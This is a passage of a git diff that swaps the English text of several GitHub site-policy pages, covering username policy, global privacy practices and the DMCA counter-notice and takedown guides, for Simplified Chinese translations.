-### 6. Questions
-Questions about the Terms of Service? [Contact us](https://support.github.com/contact?tags=docs-policy).
+### 6. 问题
+对服务条款有疑问吗？ [联系我们](https://support.github.com/contact?tags=docs-policy)。
diff --git a/translations/zh-CN/content/github/site-policy/github-username-policy.md b/translations/zh-CN/content/github/site-policy/github-username-policy.md
index 84c19fe327..4eacba6030 100644
--- a/translations/zh-CN/content/github/site-policy/github-username-policy.md
+++ b/translations/zh-CN/content/github/site-policy/github-username-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Username Policy
+title: GitHub 用户名政策
 redirect_from:
   - /articles/name-squatting-policy
   - /articles/github-username-policy
@@ -10,18 +10,18 @@ topics:
   - Legal
 ---
 
-GitHub account names are available on a first-come, first-served basis, and are intended for immediate and active use.
+GitHub 帐户名按先到先得的方式提供，预期立即使用。
 
-## What if the username I want is already taken?
+## 如果已获取所需的用户名，该怎么办？
 
-Keep in mind that not all activity on GitHub is publicly visible; accounts with no visible activity may be in active use.
+请记住，并非 GitHub 上的所有活动都是公开的；因此，并非所有活动都是公开的，没有可见活动的帐户可能正在使用中。
 
-If the username you want has already been claimed, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you identify a desirable username still available.
+如果您想要的用户名已被占用，请考虑其他名称或唯一变体。 使用数字、连字符或替代拼写可以帮助您识别想要的用户名仍然可用。
 
-## Trademark Policy
+## 商标政策
 
-If you believe someone's account is violating your trademark rights, you can find more information about making a trademark complaint on our [Trademark Policy](/articles/github-trademark-policy/) page.
+如果您认为某人的帐户侵犯了您的商标权，您可以在我们的[商标政策](/articles/github-trademark-policy/)页面找到更多有关商标投诉的信息。
 
-## Name Squatting Policy
+## 名称占用政策
 
-GitHub prohibits account name squatting, and account names may not be reserved or inactively held for future use. Accounts violating this name squatting policy may be removed or renamed without notice. Attempts to sell, buy, or solicit other forms of payment in exchange for account names are prohibited and may result in permanent account suspension.
+GitHub 禁止占用帐户名，并且不得将帐户名留等以后使用而不予以激活。 违反此名称占用政策的帐户可能会被删除或重命名，恕不另行通知。 禁止试图出售、购买或索取其他形式的付款以换取帐户名，这可能导致帐户永久暂停。
diff --git a/translations/zh-CN/content/github/site-policy/global-privacy-practices.md b/translations/zh-CN/content/github/site-policy/global-privacy-practices.md
index 4d12086d81..cb9ba82efe 100644
--- a/translations/zh-CN/content/github/site-policy/global-privacy-practices.md
+++ b/translations/zh-CN/content/github/site-policy/global-privacy-practices.md
@@ -1,5 +1,5 @@
 ---
-title: Global Privacy Practices
+title: 全球隐私实践
 redirect_from:
   - /eu-safe-harbor
   - /articles/global-privacy-practices
@@ -10,66 +10,66 @@ topics:
   - Legal
 ---
 
-Effective date: July 22, 2020
+生效日期：2020 年 7 月 22 日。
 
-GitHub provides the same high standard of privacy protection—as described in GitHub’s [Privacy Statement](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)—to all our users and customers around the world, regardless of their country of origin or location, and GitHub is proud of the level of notice, choice, accountability, security, data integrity, access, and recourse we provide. 
+如 GitHub 的[隐私声明](/github/site-policy/github-privacy-statement#githubs-global-privacy-practices)所述，GitHub 为世界各地的所有用户和客户提供同样的高标准隐私保护，不论其原籍国或所在地，GitHub 为我们提供的通知、选择、问责、安全、数据完整性、访问和追索水准而感到自豪。
 
-GitHub also complies with certain legal frameworks relating to the transfer of data from the European Economic Area, the United Kingdom, and Switzerland (collectively, “EU”) to the United States. When GitHub engages in such transfers, GitHub relies on Standard Contractual Clauses as the legal mechanism to help ensure your rights and protections travel with your personal information. In addition, GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks. To learn more about the European Commission’s decisions on international data transfer, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en).
+GitHub 还遵守有关从欧洲经济区、英国和瑞士（统称为"欧盟"）向美国传输数据的某些法律框架。 进行此类传输时，GitHub 依赖标准合同条款作为法律机制，以帮助确保您的权利和保护与您的个人信息同行。 此外，GitHub 还通过了欧盟-美国和瑞士-美国隐私盾框架的认证。 要了解有关欧洲委员会关于国际数据传输之决定的更多信息，请参阅[欧洲委员会网站](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection_en)上的这篇文章。
 
-## Standard Contractual Clauses
+## 标准合同条款
 
-GitHub relies on the European Commission-approved Standard Contractual Clauses (“SCCs”) as a legal mechanism for data transfers from the EU. SCCs are contractual commitments between companies transferring personal data, binding them to protect the privacy and security of such data. GitHub adopted SCCs so that the necessary data flows can be protected when transferred outside the EU to countries which have not been deemed by the European Commission to adequately protect personal data, including protecting data transfers to the United States. 
+GitHub 依靠欧洲委员会批准的标准合同条款 (“SCCs”) 作为从欧盟转移数据的法律机制。 SCCs 是公司之间转移个人数据的合同承诺，约束他们保护这些数据的隐私和安全。 GitHub 采用了 SCCs，以便将数据从欧盟转移到被欧洲委员会视为无法充分保护个人数据（包括保护向美国的数据转移）的国家/地区时，可以保护必要的数据流。
 
-To learn more about SCCs, see this article on the [European Commission website](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en). 
+要了解有关 SCCs 的更多信息，请参阅[欧洲委员会网站](https://ec.europa.eu/info/law/law-topic/data-protection/international-dimension-data-protection/standard-contractual-clauses-scc_en)上的这篇文章。
 
-## Privacy Shield Framework
+## 隐私盾框架
 
-GitHub is certified to the EU-US and Swiss-US Privacy Shield Frameworks and the commitments they entail, although GitHub does not rely on the EU-US Privacy Shield Framework as a legal basis for transfers of personal information in light of the judgment of the Court of Justice of the EU in Case C-311/18.
+GitHub 已通过了欧盟-美国和瑞士-美国隐私盾框架及其所含承诺的认证，尽管 GitHub 并不依赖欧盟-美国隐私盾框架作为个人信息转移的法律依据（根据欧盟法院在 C-311/18 案中的判决）。
 
-The EU-US and Swiss-US Privacy Shield Frameworks are set forth by the US Department of Commerce regarding the collection, use, and retention of User Personal Information transferred from the European Union, the UK, and Switzerland to the United States. GitHub has certified to the Department of Commerce that it adheres to the Privacy Shield Principles. If our vendors or affiliates process User Personal Information on our behalf in a manner inconsistent with the principles of either Privacy Shield Framework, GitHub remains liable unless we prove we are not responsible for the event giving rise to the damage.
+欧盟-美国和瑞士-美国隐私盾框架是美国商务部针对从欧盟、英国和瑞士转移到美国的用户个人信息之收集、使用和保留而制定的框架。 GitHub 已通过美国商务部遵守隐私盾原则的认证。 如果我们的供应商或关联公司处理用户个人信息的方式与任一隐私盾框架的原则不一致，则除非我们证明我们对造成损害的事件没有责任，否则 GitHub 仍会负责。
 
-For purposes of our certifications under the Privacy Shield Frameworks, if there is any conflict between the terms in these Global Privacy Practices and the Privacy Shield Principles, the Privacy Shield Principles shall govern. To learn more about the Privacy Shield program, and to view our certification, visit the [Privacy Shield website](https://www.privacyshield.gov/).
+为尊重我们在隐私盾框架下的认证，如果这些全球隐私实践中的条款与隐私盾原则之间存在任何冲突，以隐私盾原则为准。 要详细了解隐私盾原则和查看我们的认证，请访问[隐私盾网站](https://www.privacyshield.gov/)。
 
-The Privacy Shield Frameworks are based on seven principles, and GitHub adheres to them in the following ways:
+隐私盾框架基于七项原则，GitHub 通过以下方式遵循这些原则：
 
-- **Notice**
-  - We let you know when we're collecting your personal information.
-  - We let you know, in our [Privacy Statement](/articles/github-privacy-statement/), what purposes we have for collecting and using your information, who we share that information with and under what restrictions, and what access you have to your data.
-  - We let you know that we're participating in the Privacy Shield framework, and what that means to you.
-  - We have a {% data variables.contact.contact_privacy %} where you can contact us with questions about your privacy.
-  - We let you know about your right to invoke binding arbitration, provided at no cost to you, in the unlikely event of a dispute.
-  - We let you know that we are subject to the jurisdiction of the Federal Trade Commission.
-- **Choice**
-  - We let you choose what happens to your data. Before we use your data for a purpose other than the one for which you gave it to us, we will let you know and get your permission.
-  - We will provide you with reasonable mechanisms to make your choices.
-- **Accountability for Onward Transfer**
-  - When we transfer your information to third party vendors that are processing it on our behalf, we are only sending your data to third parties, under contract with us, that will safeguard it consistently with our Privacy Statement. When we transfer your data to our vendors under Privacy Shield, we remain responsible for it.
-  - We share only the amount of data with our third party vendors as is necessary to complete their transaction.
-- **Security**
-  - We will protect your personal information with [all reasonable and appropriate security measures](https://github.com/security).
-- **Data Integrity and Purpose Limitation**
-  - We only collect your data for the purposes relevant for providing our services to you.
-  - We collect as little information about you as we can, unless you choose to give us more.
-  - We take reasonable steps to ensure that the data we have about you is accurate, current, and reliable for its intended use.
-- **Access**
-  - You are always able to access the data we have about you in your [user profile](https://github.com/settings/profile). You may access, update, alter, or delete your information there.
-- **Recourse, Enforcement and Liability**
-  - If you have questions about our privacy practices, you can reach us with our {% data variables.contact.contact_privacy %} and we will respond within 45 days at the latest.
-  - In the unlikely event of a dispute that we cannot resolve, you have access to binding arbitration at no cost to you. Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
-  - We will conduct regular audits of our relevant privacy practices to verify compliance with the promises we have made.
-  - We require our employees to respect our privacy promises, and violation of our privacy policies is subject to disciplinary action up to and including termination of employment.
+- **通知**
+  - 我们在收集您的个人信息时会通知您。
+  - 我们在[隐私声明](/articles/github-privacy-statement/)中告诉您，我们收集和使用您的信息的目的是什么、我们在什么限制条件下与谁分享该信息，以及您对自己数据的访问权限。
+  - 我们告诉您，我们正在参与隐私盾框架以及这对您意味着什么。
+  - 我们有一个 {% data variables.contact.contact_privacy %}，遇到隐私权问题时可通过它联系我们。
+  - 我们告诉您，在出现争议时您有权诉诸有约束力的仲裁，并且这对您是免费的。
+  - 我们告诉您，我们受联邦贸易委员会的管辖。
+- **选择**
+  - 我们让您选择如何处理您的数据。 将数据用于超出您许可范围的用途之前，我们会告诉您并征得您的同意。
+  - 我们将为您提供合理的选择机制。
+- **继续转移的问责制**
+  - 我们将您的信息转移给替我们处理数据的第三方时，该第三方必须与我们签订合同，按照我们的隐私声明保护这些数据。 我们根据隐私盾原则将您的数据转移给供应商后，我们仍对这些数据负责。
+  - 我们只与第三方供应商分享他们完成交易所需的数据量。
+- **安全**
+  - 我们将采用[所有合理和适当的安全措施](https://github.com/security)保护您的个人信息。
+- **数据完整性和目的限制**
+  - 我们仅出于向您提供服务的相关目的收集您的数据。
+  - 我们尽可能少地收集有关您的信息，除非您自己选择向我们提供更多信息。
+  - 我们采取合理步骤，确保我们拥有的个人数据准确、最新、可靠且适用于预期用途。
+- **访问**
+  - 您始终可以在[用户个人资料](https://github.com/settings/profile)中访问您提供的数据。 您可以在那里访问、更新、更改或删除您的信息。
+- **追索、执行和责任**
+  - 如果您对我们的隐私实践有疑问，可通过 {% data variables.contact.contact_privacy %} 联系我们，我们最迟在 45 天内答复您。
+  - 万一发生我们无法解决的争议，您可以免费申请有约束力的仲裁。 更多信息请参阅我们的[隐私声明](/articles/github-privacy-statement/)。
+  - 我们将对相关的隐私实践进行定期审核，以核实我们是否遵守承诺。
+  - 我们要求员工尊重我们的隐私承诺，违反隐私政策的行为将受到纪律处分，包括终止雇佣关系。
 
 
-### Dispute resolution process
+### 争议解决流程
 
-As further explained in the [Resolving Complaints](/github/site-policy/github-privacy-statement#resolving-complaints) section of our [Privacy Statement](/github/site-policy/github-privacy-statement), we encourage you to contact us should you have a Privacy Shield-related (or general privacy-related) complaint. For any complaints that cannot be resolved with GitHub directly, we have selected to cooperate with the relevant EU Data Protection Authority, or a panel established by the European data protection authorities, for resolving disputes with EU individuals, and with the Swiss Federal Data Protection and Information Commissioner (FDPIC) for resolving disputes with Swiss individuals. Please contact us if you’d like us to direct you to your data protection authority contacts.
+如我们的[隐私声明](/github/site-policy/github-privacy-statement)中[解决投诉](/github/site-policy/github-privacy-statement#resolving-complaints)部分所述，如果您有与隐私盾相关（或与一般隐私保护相关）的投诉，建议您联系我们。 对于 GitHub 无法直接解决的任何投诉，我们会选择与相关的欧盟数据保护当局或他们成立的小组合作，解决与欧盟人士的争议；与瑞士联邦数据保护和信息专员 (FDPIC) 合作，解决与瑞士人士的争议。 如果您需要适用的数据保护当局联系人的信息，请联系我们。
 
-Additionally, if you are a resident of an EU member state, you have the right to file a complaint with your local supervisory authority.
+此外，如果您是欧盟成员国的居民，您有权向当地监管机构提出投诉。
 
-### Independent arbitration
+### 独立仲裁
 
-Under certain limited circumstances, EU, European Economic Area (EEA), Swiss, and UK individuals may invoke binding Privacy Shield arbitration as a last resort if all other forms of dispute resolution have been unsuccessful. To learn more about this method of resolution and its availability to you, please read more about [Privacy Shield](https://www.privacyshield.gov/article?id=ANNEX-I-introduction). Arbitration is not mandatory; it is a tool you can use if you so choose.
+在某些有限的情况下，如果所有其他形式的争议解决均未成功，作为最后手段，欧盟、欧洲经济区 (EEA)、瑞士和英国人士可以诉诸具有约束力的隐私盾仲裁。 要详细了解这种解决方法及其适用性，请认真阅读[隐私盾](https://www.privacyshield.gov/article?id=ANNEX-I-introduction)。 仲裁不是强制性的；它是您可以选择使用的工具。
 
-We are subject to the jurisdiction of the US Federal Trade Commission (FTC).
-  
-Please see our [Privacy Statement](/articles/github-privacy-statement/) for more information.
+我们受美国联邦贸易委员会 (FTC) 的管辖。
+
+更多信息请参阅我们的[隐私声明](/articles/github-privacy-statement/)。
diff --git a/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md b/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
index e2dbb93740..0e8780db79 100644
--- a/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
+++ b/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-counter-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Counter Notice
+title: 提交 DMCA 反对通知的指南
 redirect_from:
   - /dmca-counter-notice-how-to
   - /articles/dmca-counter-notice-how-to
@@ -11,72 +11,60 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a counter notice to a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+本指南介绍 GitHub 处理 DMCA 删除请求反通知所需的信息。 如果您对 DMCA 的概念或 GitHub 处理 DMCA 删除请求的方式有更多一般性疑问，请参阅我们的 [DMCA 删除政策](/articles/dmca-takedown-policy)。
 
-If you believe your content on GitHub was mistakenly disabled by a DMCA takedown request, you have the right to contest the takedown by submitting a counter notice. If you do, we will wait 10-14 days and then re-enable your content unless the copyright owner initiates a legal action against you before then. Our counter-notice form, set forth below, is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+如果您认为 DMCA 删除请求误禁了您在 GitHub 上的内容，您有权通过提交反通知来反对删除。 如果您这样做，我们将等待 10-14 天，然后重新启用您的内容，除非版权所有者在此之前对您提起法律诉讼。 下述反通知形式与 DMCA 法规建议的形式一致，您可以登录美国版权局官方网站：<https://www.copyright.gov> 查看该法规。 版权局官方网站：<https://www.copyright.gov>。
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+与所有法律事务一样，就您的具体问题或情况咨询专业人员始终是最好的方式。 我们强烈建议您在采取任何可能影响您权利的行动之前这样做。 本指南不是法律意见，也不应作为法律意见。
 
-## Before You Start
+## 开始前
 
-***Tell the Truth.***
-The DMCA requires that you swear to your counter notice *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability—that is, you could get sued for money damages.
+***说实话。***DMCA 要求您对自己的反通知宣誓，如有不实会*受到伪证处罚*。 在宣誓声明中故意说谎是一种联邦罪行 。 （*请参阅* [美国 法典，第 18 章，第 1621 条](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm)。） （*请参阅* [美国法典，第 18 章，第 1621 条](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm)。） 提交虚假信息还可能导致民事责任，也就是说，可能被诉经济赔偿。
 
-***Investigate.***
-Submitting a DMCA counter notice can have real legal consequences. If the complaining party disagrees that their takedown notice was mistaken, they might decide to file a lawsuit against you to keep the content disabled. You should conduct a thorough investigation into the allegations made in the takedown notice and probably talk to a lawyer before submitting a counter notice.
+***调查。***提交 DMCA 反通知可能会产生现实的法律后果。 如果投诉方不同意其删除通知有误，他们可自行决定对您提起诉讼以求继续禁用内容。 在提交反通知之前，您应该对删除通知中的指控进行彻底的调查，并在必要时咨询律师。
 
-***You Must Have a Good Reason to Submit a Counter Notice.***
-In order to file a counter notice, you must have "a good faith belief that the material was removed or disabled as a result of mistake or misidentification of the material to be removed or disabled." ([U.S. Code, Title 17, Section 512(g)](https://www.copyright.gov/title17/92chap5.html#512).) Whether you decide to explain why you believe there was a mistake is up to you and your lawyer, but you *do* need to identify a mistake before you submit a counter notice. In the past, we have received counter notices citing mistakes in the takedown notice such as: the complaining party doesn't have the copyright; I have a license; the code has been released under an open-source license that permits my use; or the complaint doesn't account for the fact that my use is protected by the fair-use doctrine. Of course, there could be other defects with the takedown notice.
+***必须有充分的理由提交反通知。*** 要提交反通知，您必须“真正认为您的材料被删除或禁用是因为投诉有误或材料标识错误。” （[美国 法典，第 17 章，第 512(g) 条](https://www.copyright.gov/title17/92chap5.html#512)。） 是否要解释您认为存在错误的原因，取决于您和您的律师，但是在提交反通知之前，您*必须*找出错误。 我们在过去收到的反通知中，列举了一些删除通知中的错误，例如：投诉方没有版权；我有许可；该代码已在允许我使用的开源许可下发布；或投诉方没有考虑这一事实：我的使用受到合理使用原则的保护。 当然，删除通知中可能还有其他缺陷。
 
-***Copyright Laws Are Complicated.***
-Sometimes a takedown notice might allege infringement in a way that seems odd or indirect. Copyright laws are complicated and can lead to some unexpected results. In some cases a takedown notice might allege that your source code infringes because of what it can do after it is compiled and run. For example:
-  - The notice may claim that your software is used to [circumvent access controls](https://www.copyright.gov/title17/92chap12.html) to copyrighted works.
-  - [Sometimes](https://www.copyright.gov/docs/mgm/) distributing software can be copyright infringement, if you induce end users to use the software to infringe copyrighted works.
-  - A copyright complaint might also be based on [non-literal copying](https://en.wikipedia.org/wiki/Substantial_similarity) of design elements in the software, rather than the source code itself — in other words, someone has sent a notice saying they think your *design* looks too similar to theirs.
+***版权法很复杂。***有时，删除通知可能以比较奇怪或间接的方式指控侵权。 版权法很复杂，可能会导致一些意想不到的结果。 在某些情况下，删除通知可能基于您的源代码在进行编译和运行后能够执行的操作，而指控它侵权。 例如：
+  - 通知可能声称您的软件用于[规避版权作品的访问控制](https://www.copyright.gov/title17/92chap12.html)。
+  - [有时](https://www.copyright.gov/docs/mgm/)，分发软件也可能侵犯版权，假如您诱使最终用户使用软件侵犯受版权保护的作品。
+  - 版权投诉还可能基于软件中[非完全复制](https://en.wikipedia.org/wiki/Substantial_similarity)的设计元素，换句话说，有人可能会发出通知，说他们认为您的*设计*与他们的设计太像了。
 
-These are just a few examples of the complexities of copyright law. Since there are many nuances to the law and some unsettled questions in these types of cases, it is especially important to get professional advice if the infringement allegations do not seem straightforward.
+这些只是体现版权法复杂性的些许示例。 由于在这些类型的案例中，法律有许多微妙之处，还有一些悬而未决的问题，因此，在侵权指控看起来不那么直接的情况下，寻求专业意见尤为重要。
 
-***A Counter Notice Is A Legal Statement.***
-We require you to fill out all fields of a counter notice completely, because a counter notice is a legal statement — not just to us, but to the complaining party. As we mentioned above, if the complaining party wishes to keep the content disabled after receiving a counter notice, they will need to initiate a legal action seeking a court order to restrain you from engaging in infringing activity relating to the content on GitHub. In other words, you might get sued (and you consent to that in the counter notice).
+***反通知是法律声明。***我们要求您完整填写反通知的所有字段，因为反通知是一种法律声明——不仅是对我们的声明，也是对投诉方的声明。 如上所述，如果投诉方在收到反通知后，希望继续禁用内容，则他们将需要提起法律诉讼，寻求通过法院命令制止您从事与 GitHub 上的内容相关的侵权活动。 也就是说，您可能会被起诉（并且您在反通知中同意这一点）。
 
-***Your Counter Notice Will Be Published.***
-As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), **after redacting personal information,** we publish all complete and actionable counter notices at <https://github.com/github/dmca>. Please also note that, although we will only publicly publish redacted notices, we may provide a complete unredacted copy of any notices we receive directly to any party whose rights would be affected by it. If you are concerned about your privacy, you may have a lawyer or other legal representative file the counter notice on your behalf.
+***您的反通知将被公布。***如我们的 [DMCA 删除政策](/articles/dmca-takedown-policy#d-transparency)所述，**在删节个人信息后，**我们将在 <https://github.com/github/dmca> 上发布所有完整、有效的反通知。 另请注意，尽管我们只公开发布经删节的通知，但我们可能会向权利受影响的任何相关方直接提供相关通知的完整未删节版。 如果您担心自己的隐私，可以请律师或其他法律代表替您提交反通知。
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in this process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***GitHub 不是法官。***除了确定通知是否符合 DMCA 的最低要求外，GitHub 在此过程中几乎不行使酌处权。 当事方（及其律师）应负责评估其投诉的合理性，并注意，此类通知受伪证处罚条款约束。
 
-***Additional Resources.***
-If you need additional help, there are many self-help resources online. Lumen has an informative set of guides on [copyright](https://www.lumendatabase.org/topics/5) and [DMCA safe harbor](https://www.lumendatabase.org/topics/14). If you are involved with an open-source project in need of legal advice, you can contact the [Software Freedom Law Center](https://www.softwarefreedom.org/about/contact/). And if you think you have a particularly challenging case, non-profit organizations such as the [Electronic Frontier Foundation](https://www.eff.org/pages/legal-assistance) may also be willing to help directly or refer you to a lawyer.
+***其他资源。***如果您需要其他帮助，可以找到许多在线自助资源。 Lumen 有一套内容丰富的[版权](https://www.lumendatabase.org/topics/5)和 [DMCA 安全港](https://www.lumendatabase.org/topics/14)指南。 如果您参与一个开源项目，需要寻求法律意见，您可以联系[软件自由法律中心](https://www.softwarefreedom.org/about/contact/)。 如果您认为自己的案例特别有挑战，像[电子前沿基金会](https://www.eff.org/pages/legal-assistance)这样的非营利组织可能愿意直接提供帮助，或将您推荐给律师。
 
-## Your Counter Notice Must...
+## 您的反通知必须...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Counter Notice."**
-We won't refuse to process an otherwise complete counter notice if you don't include this statement; however, we will know that you haven't read these guidelines and may ask you to go back and do so.
+1. **包括以下声明：“我已阅读并理解 GitHub 的《提交 DMCA 反通知指南》。”**如果您的反通知未包括此声明，但其他内容完整，我们不会拒绝处理；但我们知道您尚未阅读这些指南后，可能会要求您先完成这一步。
 
-2. ***Identify the content that was disabled and the location where it appeared.***
-The disabled content should have been identified by URL in the takedown notice. You simply need to copy the URL(s) that you want to challenge.
+2. ***标识被禁用的内容及其出现的位置。***被禁用的内容应该已在删除通知中通过 URL 进行了标识。 您只需复制要提出异议的 URL。
 
-3. **Provide your contact information.**
-Include your email address, name, telephone number, and physical address.
+3. **提供您的联系信息。**包括您的电子邮件地址、姓名、电话号码和实际地址。
 
-4. ***Include the following statement: "I swear, under penalty of perjury, that I have a good-faith belief that the material was removed or disabled as a result of a mistake or misidentification of the material to be removed or disabled."***
-You may also choose to communicate the reasons why you believe there was a mistake or misidentification. If you think of your counter notice as a "note" to the complaining party, this is a chance to explain why they should not take the next step and file a lawsuit in response. This is yet another reason to work with a lawyer when submitting a counter notice.
+4. ***包括以下声明：“我宣誓，我坚信材料被删除或禁用是因为投诉有误或材料标识错误，如有不实，愿接受伪证处罚 。”***您也可以选择传达您认为存在错误或错误标识的原因。 如果您将反通知视为传递给投诉方的“便条”，您可以利用这个机会，解释为什么他们不应该针对您的反通知采取下一步行动和提起诉讼。 这是在提交反通知时应该与律师合作的另一个原因。
 
-5. ***Include the following statement: "I consent to the jurisdiction of Federal District Court for the judicial district in which my address is located (if in the United States, otherwise the Northern District of California where GitHub is located), and I will accept service of process from the person who provided the DMCA notification or an agent of such person."***
+5. ***包括以下声明：“我同意，我地址所在司法区的联邦地方法院具有管辖权（如果在美国，则为 GitHub 所在的加州北区的联邦法院），我将接受提供 DMCA 通知的人或其代理人递送法院传票。”***
 
-6. **Include your physical or electronic signature.**
+6. **提供您的手写或电子签名。**
 
-## How to Submit Your Counter Notice
+## 如何提交反通知
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+得到回复的最快方式是在我们的 {% data variables.contact.contact_dmca %} 上输入您的信息并回答所有问题。
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+您也可以发送电子邮件通知到 <copyright@github.com>。 您可以包含附件（如果您愿意），但在邮件正文中也应包含来函的纯文本版本。
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it—and the 10-14 day waiting period starts from when we *receive* your counter notice. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+如果非要通过实物邮件发送通知，也没问题，但我们接收和回复通知的时间会*大大*延长 - 并且 10-14 天的等待期从我们*收到*您的反通知时开始。 接收纯文本电子邮件通知比接收 PDF 附件或实物邮件要快得多。 如果您仍希望通过邮寄方式发送通知，我们的实际地址是：
 
 ```
 GitHub, Inc
-Attn: DMCA Agent
+收件人：DMCA 代理
 88 Colin P Kelly Jr St
 San Francisco, CA. 94107
 ```
diff --git a/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md b/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
index deccf23500..b111112554 100644
--- a/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
+++ b/translations/zh-CN/content/github/site-policy/guide-to-submitting-a-dmca-takedown-notice.md
@@ -1,5 +1,5 @@
 ---
-title: Guide to Submitting a DMCA Takedown Notice
+title: 提交 DMCA 删除通知的指南
 redirect_from:
   - /dmca-notice-how-to
   - /articles/dmca-notice-how-to
@@ -11,84 +11,83 @@ topics:
   - Legal
 ---
 
-This guide describes the information that GitHub needs in order to process a DMCA takedown request. If you have more general questions about what the DMCA is or how GitHub processes DMCA takedown requests, please review our [DMCA Takedown Policy](/articles/dmca-takedown-policy).
+本指南介绍 GitHub 处理 DMCA 删除请求所需的信息。 如果您对 DMCA 的概念或 GitHub 处理 DMCA 删除请求的方式有更多一般性疑问，请参阅我们的 [DMCA 删除政策](/articles/dmca-takedown-policy)。
 
-Due to the type of content GitHub hosts (mostly software code) and the way that content is managed (with Git), we need complaints to be as specific as possible. These guidelines are designed to make the processing of alleged infringement notices as straightforward as possible. Our form of notice set forth below is consistent with the form suggested by the DMCA statute, which can be found at the U.S. Copyright Office's official website: <https://www.copyright.gov>.
+鉴于 GitHub 托管内容的类型（主要是软件代码）以及管理内容的方式（使用 Git），我们需要投诉内容尽可能具体。 这些指南旨在尽可能简单明了地处理指控侵权的通告。 下述通告形式与 DMCA 法规建议的形式一致，您可以登录美国版权局官方网站：<https://www.copyright.gov> 查看该法规。 版权局官方网站：<https://www.copyright.gov>。
 
-As with all legal matters, it is always best to consult with a professional about your specific questions or situation. We strongly encourage you to do so before taking any action that might impact your rights. This guide isn't legal advice and shouldn't be taken as such.
+与所有法律事务一样，就您的具体问题或情况咨询专业人员始终是最好的方式。 我们强烈建议您在采取任何可能影响您权利的行动之前这样做。 本指南不是法律意见，也不应作为法律意见。
 
-## Before You Start
+## 开始前
 
-***Tell the Truth.*** The DMCA requires that you swear to the facts in your copyright complaint *under penalty of perjury*. It is a federal crime to intentionally lie in a sworn declaration. (*See* [U.S. Code, Title 18, Section 1621](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm).) Submitting false information could also result in civil liability — that is, you could get sued for money damages. The DMCA itself [provides for damages](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations) against any person who knowingly materially misrepresents that material or activity is infringing.
+***说实话。***DMCA 要求您对版权投诉中陈述的事实宣誓，捏造事实会*受到伪证处罚*。 在宣誓声明中故意说谎是一种联邦罪行 。 （*请参阅* [美国 法典，第 18 章，第 1621 条](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm)。） （*请参阅* [美国法典，第 18 章，第 1621 条](https://www.gpo.gov/fdsys/pkg/USCODE-2011-title18/html/USCODE-2011-title18-partI-chap79-sec1621.htm)。） 提交虚假信息还可能导致民事责任，也就是说，可能被诉经济赔偿。 DMCA 本身就针对任何故意捏造材料或活动侵权事实的人[规定了赔偿条款](https://en.wikipedia.org/wiki/Online_Copyright_Infringement_Liability_Limitation_Act#%C2%A7_512(f)_Misrepresentations)。
 
-***Investigate.*** Millions of users and organizations pour their hearts and souls into the projects they create and contribute to on GitHub. Filing a DMCA complaint against such a project is a serious legal allegation that carries real consequences for real people. Because of that, we ask that you conduct a thorough investigation and consult with an attorney before submitting a takedown to make sure that the use isn't actually permissible.
+***调查。***数以百万计的用户为自己在 GitHub 上创建和参与的项目倾注了心血。 针对此类项目提出 DMCA 投诉是一种严重的法律指控，会对项目背后真实的人造成真正的后果。 因此，我们要求您在提交删除通知之前进行彻底的调查并咨询律师，以确保您投诉的确实是不允许的使用。
 
-***Ask Nicely First.*** A great first step before sending us a takedown notice is to try contacting the user directly. They may have listed contact information on their public profile page or in the repository's README, or you could get in touch by opening an issue or pull request on the repository. This is not strictly required, but it is classy.
